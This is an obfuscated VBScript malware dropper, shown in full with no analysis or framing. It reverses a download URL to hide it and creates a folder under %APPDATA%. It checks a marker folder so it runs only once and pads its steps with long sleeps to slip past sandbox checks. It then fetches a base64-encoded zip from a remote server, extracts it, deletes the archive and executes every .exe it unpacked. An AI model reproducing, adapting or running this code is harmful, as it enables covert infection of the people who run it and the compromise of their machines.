Option Explicit DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,DDEGIIJLMMOQQRTVVWYYZbbde,OBJZbbdeegghjjlmmoqrrt,objFeSO DZIP = StrReverse("osi.tsaocwardbrt/ppa/ten.relbmu.rb-moc-latigidainofeletedrotes//:ptth") Set OBJZbbdeegghjjlmmoqrrt = CreateObject( "WScript.Shell" ) DDEGIIJLMMOQQRTVVWYYZbbde = OBJZbbdeegghjjlmmoqrrt.ExpandEnvironmentStrings("%APPDATA%") N_VR = "A99449C3092CE70964CE715CF7BB75B.zip" WScript.Sleep 100 PSTLM = DDEGIIJLMMOQQRTVVWYYZbbde + "\nvadsbr" DDFFGIIKLNNPQQSTVVXYYacddfggikklnppqssuvxxyAACDDFHIIKLLNPQQSUUVXZZaccdffhikkmnnpqs STPASTALOKA = PSTLM WScript.Sleep 100 TEMMORRE WScript.Sleep 100 WScript.Sleep 160 DVWYabdfggikllnooqsttvxxyAABDDFGIIKLLNPPQSS WScript.Sleep 2424 WScript.Sleep 32303 XCabddfgikklnnoqsstvvxyAABDDFGIIKLLNP WScript.Sleep 32210 DCPQSSVVXYaacddfhhikllnppqsuuvxxyAACDDFHHIK WScript.Sleep 2424 WScript.Sleep 124 WScript.Sleep 124 DCrtvvwyAABDDFGGIJLLNOOQSSTVVWYaabddfggikklnnoqsstvvxyyAC Function DCrtvvwyAABDDFGGIJLLNOOQSSTVVWYaabddfggikklnnoqsstvvxyyAC() Dim ClqtghhjllmoqqrrtuwyyzLM,jrtzBDEGIJLNNOQRRw,jxtBBDEGGIIJLLMOQQ,ColtDFGIJJLNOOQSTTVWY Set ClqtghhjllmoqqrrtuwyyzLM = WScript.CreateObject( "WScript.Shell" ) WScript.Sleep 70 Set jrtzBDEGIJLNNOQRRw = CreateObject( "Scripting.FileSystemObject" ) WScript.Sleep 50 WScript.Sleep 50 Set jxtBBDEGGIIJLLMOQQ = jrtzBDEGIJLNNOQRRw.GetFolder(PSTLM) WScript.Sleep 40 WScript.Sleep 50 Set ColtDFGIJJLNOOQSTTVWY = jxtBBDEGGIIJLLMOQQ.Files WScript.Sleep 60 WScript.Sleep 50 For Each ColtDFGIJJLNOOQSTTVWY in ColtDFGIJJLNOOQSTTVWY If UCase(jrtzBDEGIJLNNOQRRw.GetExtensionName(ColtDFGIJJLNOOQSTTVWY.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then NMEXE = ColtDFGIJJLNOOQSTTVWY.Name ClqtghhjllmoqqrrtuwyyzLM.Exec(PSTLM & UCase(Chr(92)) & ColtDFGIJJLNOOQSTTVWY.Name) WScript.Sleep 44 End If Next End Function Function GTEK( myPassPhrase ) Dim i, arrCode( ) ReDim arrCode( Len( myPassPhrase ) - 1 ) For i = 0 To UBound( arrCode ) arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) ) Next GTEK = arrCode End Function Function XCabddfgikklnnoqsstvvxyAABDDFGIIKLLNP() DIM Clqtghhjllmoqqrrtuwyyz,FilesInZip set Clqtghhjllmoqqrrtuwyyz = CreateObject("Shell.Application") set FilesInZip=Clqtghhjllmoqqrrtuwyyz.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items Clqtghhjllmoqqrrtuwyyz.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52)) Set Clqtghhjllmoqqrrtuwyyz = Nothing End Function Function DCPQSSVVXYaacddfhhikllnppqsuuvxxyAACDDFHHIK() DIM jrtzBDEGIJLNNOQRRxsd Set jrtzBDEGIJLNNOQRRxsd = Createobject("Scripting.FileSystemObject") jrtzBDEGIJLNNOQRRxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR End Function Function tOyzzBDDEEGIIJL( myFileIn, myFileOut, arrCode ) Dim i, jrtzBDEGIJLNNOQRR, ColtDFGIJJLNOOQSTTVWYIn, ColtDFGIJJLNOOQSTTVWYOut, objStreamIn Const ForAppending = 8 Const ForReading = 1 Const ForWriting = 2 Const TristateFalse = 0 Const TristateMixed = -2 Const TristateTrue = -1 Const TristateUseDefault = -2 On Error Resume Next If Not IsArray( arrCode ) Then arrCode = Array( arrCode ) End If For i = 0 To UBound( arrCode ) If Not IsNumeric( arrCode(i) ) Then Encode = 1032 Exit Function End If If arrCode(i) < 0 Or arrCode(i) > 255 Then Encode = 1031 Exit Function End If Next Set jrtzBDEGIJLNNOQRR = CreateObject( "Scripting.FileSystemObject" ) If jrtzBDEGIJLNNOQRR.FileExists( myFileIn ) Then Set ColtDFGIJJLNOOQSTTVWYIn = jrtzBDEGIJLNNOQRR.GetFile( myFileIn ) Set objStreamIn = ColtDFGIJJLNOOQSTTVWYIn.OpenAsTextStream( ForReading, TriStateFalse ) Else Encode = 53 objStreamIn.Close Set objStreamIn = Nothing Set ColtDFGIJJLNOOQSTTVWYIn = Nothing Set jrtzBDEGIJLNNOQRR = Nothing Exit Function End If If jrtzBDEGIJLNNOQRR.FileExists( myFileOut ) Then ' Error 58: File already exists Encode = 58 ' Close input file and release objects objStreamIn.Close Set objStreamIn = Nothing Set ColtDFGIJJLNOOQSTTVWYIn = Nothing Set jrtzBDEGIJLNNOQRR = Nothing ' Abort Exit Function Else Set ColtDFGIJJLNOOQSTTVWYOut = jrtzBDEGIJLNNOQRR.CreateTextFile( myFileOut, True, False ) End If i = 0 Do Until objStreamIn.AtEndOfStream i = ( i + 1 ) \ ( UBound( arrCode ) + 1 ) ColtDFGIJJLNOOQSTTVWYOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) ) Loop ColtDFGIJJLNOOQSTTVWYOut.Close objStreamIn.Close Set objStreamIn = Nothing Set ColtDFGIJJLNOOQSTTVWYIn = Nothing Set ColtDFGIJJLNOOQSTTVWYOut = Nothing Set jrtzBDEGIJLNNOQRR = Nothing Encode = Err.Number Err.Clear On Error Goto 0 End Function Function DDFFGIIKLNNPQQSTVVXYYacddfggikklnppqssuvxxyAACDDFHIIKLLNPQQSUUVXZZaccdffhikkmnnpqs() dim mqXFFRJUWm Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject") If (mqXFFRJUWm.FolderExists((PSTLM) )) Then WScript.Quit() End If End Function Function DVWYabdfggikllnooqsttvxxyAABDDFGIIKLLNPPQSS() DIM req Set req = CreateObject("Msxml2.XMLHttp.6.0") req.open "GET", DZIP, False req.send If req.Status = 200 Then Dim oNode, BinaryStream Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") oNode.dataType = "bin.base64" oNode.text = req.responseText Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = adTypeBinary BinaryStream.Open BinaryStream.Write oNode.nodeTypedValue BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite End if End Function Function TEMMORRE() SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject") IF objFeSO.FolderExists(DDEGIIJLMMOQQRTVVWYYZbbde + "\OLEDAT") = TRUE THEN WScript.Quit() END IF IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN objFeSO.CreateFolder STPASTALOKA objFeSO.CreateFolder OBJZbbdeegghjjlmmoqrrt.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT" END IF End Function